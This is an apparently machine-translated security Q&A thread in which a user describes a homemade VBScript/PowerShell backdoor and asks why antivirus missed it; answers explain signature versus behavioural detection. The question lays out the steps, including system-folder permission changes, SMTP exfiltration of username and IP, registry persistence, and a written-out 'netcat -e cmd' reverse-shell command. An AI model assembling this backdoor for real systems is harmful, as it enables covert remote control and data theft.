¿He creado algún tipo de malware? [cerrado]

0

Soy bastante nuevo en este tipo de cosas y estoy experimentando un poco. Este fin de semana tuve algo de tiempo libre y decidí bromear con VBScript y powershell. Lo que hice es escribir un VBScript que puede ejecutarse como usuario normal o como administrador y hace lo siguiente cuando se ejecuta:

  1. Crea un script .bat e inserta el código manualmente en el script línea por línea y luego lo ejecuta. El .bat contiene:

    • Un comando de toma de control para system32, sysWOW64 (si se ejecuta como administrador, por supuesto)
    • Un comando icacls que hace que las carpetas anteriores sean modificables por cualquier persona
    • Ejecuta el script de powershell creado anteriormente
    • Agrega un .vbs en el registro de la máquina local para ejecutarse en el inicio como sistema
  2. Crea un script de powershell e inserta el código manualmente en el script línea por línea. El .ps1 contiene:

    • Primero descarga netcat
    • Luego procede a descomprimir el archivo descargado
    • Luego toma el nombre de usuario del sistema y la IP pública
    • Envía los datos a través de smtp a un correo electrónico específico
    • Finalmente ejecuta netcat.exe con argumentos: "netcat.exe -e cmd {ip de servidores de escucha pública} {puerto}"
  3. Crea otro .vbs e inserta el código línea por línea manualmente (que se ejecutará en el inicio como se indica en el .bat). El .vbs contiene:

    • Un bucle do while que cada 5 minutos ejecuta un archivo .bat que contiene "netcat.exe -e cmd {servidores de escucha pública ip} {puerto}" como comando (para que pueda tener una puerta trasera persistente)
  4. Un archivo .bat que contiene un solo comando:

    • "netcat.exe -e cmd {servidores de escucha pública ip} {puerto}"
  5. Ejecute .bat en el fondo oculto al usuario

En el lado del "atacante" tengo netcat abierto escuchando en el puerto especificado. Pude obtener un cmd elevado sin ningún disparo de AV (probado con Avira, ESET).

Esto funciona en Windows 7, 8, 10 x64 y lo hice compatible tanto con powershell v. < 3 como v. > 3.

Lo que logré es un cmd elevado con persistencia sin activar la detección de AV y me pareció muy fácil de lograr.

¿Debería haber sido detectado como una amenaza potencial por el software antivirus y eliminarlo del sistema? Puedo realizar la ejecución remota de código y obtener acceso completo al sistema de destino

Este proyecto se ejecutó en un entorno local del que soy propietario. No tengo intenciones de nada más

    
pregunta Anonymous 22.01.2018 - 13:48
fuente

2 respuestas

4

Creo que su problema es sobre el concepto detrás del malware. Un malware es un software que hace más de lo que usted espera que haga . O un software que hace lo que usted no quiere que haga .

Si hago una pieza de software que elimina todo en mi computadora, no es un malware, es legítimo, quiero que eso suceda.

Si se lo doy a un amigo y le digo: hey, echa un vistazo a este pequeño juego divertido, vendrá a mí (me pegará en la cara) y me preguntará: ¿por qué me enviaste un malware? >

Así que todo depende del contexto. Hiciste un pedazo de software que hace cosas legítimas. Lo que usted está tratando de lograr lo convertirá o no en un malware.

En cuanto a tu edición: No soy un experto en AV, pero por lo que sé, buscan patrones. Escribir tu propio malware / virus con solo un código legítimo lo haría casi indetectable, porque no estás usando ningún patrón que AV sepa. El punto aquí es que no utiliza ninguna violación, no hay vulnerabilidades de seguridad. No está excediendo sus derechos, ni saliendo de ningún ámbito de aplicación. Acaba de crear una herramienta para conectarse a otra computadora y ejecutar el comando.

Tomaría el ejemplo de la reciente explotación de Meltdown y Specter. Son muy peligrosos no porque en este momento, ningún AV sepa cómo detectarlo, sino porque es probable que Av nunca sepa cómo detectarlo, porque es un código legítimo del 100%. Debido a que es 100% legítimo, hay infinitas formas de escribir un exploit. Y así, no surgirían patrones.

    
respondido por el Guillaume Beauvois 22.01.2018 - 14:09
fuente
0

Respuesta corta: sí, es así de fácil, pero tampoco es una sorpresa.

Lo que hace que el malware sea peligroso no es lo que hace, sino cómo lo hace. Abrir archivos, escribir archivos, descargar cosas, abrir conexiones de red. Un videojuego hace todas esas cosas. Ninguno de ellos es inherentemente "malo".

Su "malware" tiene varios puntos no maliciosos que le permiten evadir la detección de AV:

  • es un binario puro que se puede identificar en el administrador de tareas
  • deja muchos artefactos alrededor
  • una shell conectada directamente

Una inspección manual activará estas cosas, y algunas de esas cosas incluso se registrarán. No es "sigiloso". El código sigiloso es lo que el AV tiende a buscar (como su incidente con el caballo de Troya).

Es por eso que el ransomware golpeó tan fuerte cuando llegó. No necesitaba ser sigiloso o incluso inteligente.

Lo que necesita, en su caso, es algo para analizar comportamiento . ¿Debería Powershell estar haciendo estas cosas? ¿El código está firmado? ¿Es netcat un binario válido para ejecutar? El análisis de comportamiento examina el contexto de las acciones inocuas para determinar si se debe clasificar como malicioso.

Entonces, no, a nadie le sorprende que AV no haya detectado estas cosas. Pero, no está diseñado para.

    
respondido por el schroeder 22.01.2018 - 15:08
fuente

Lea otras preguntas en las etiquetas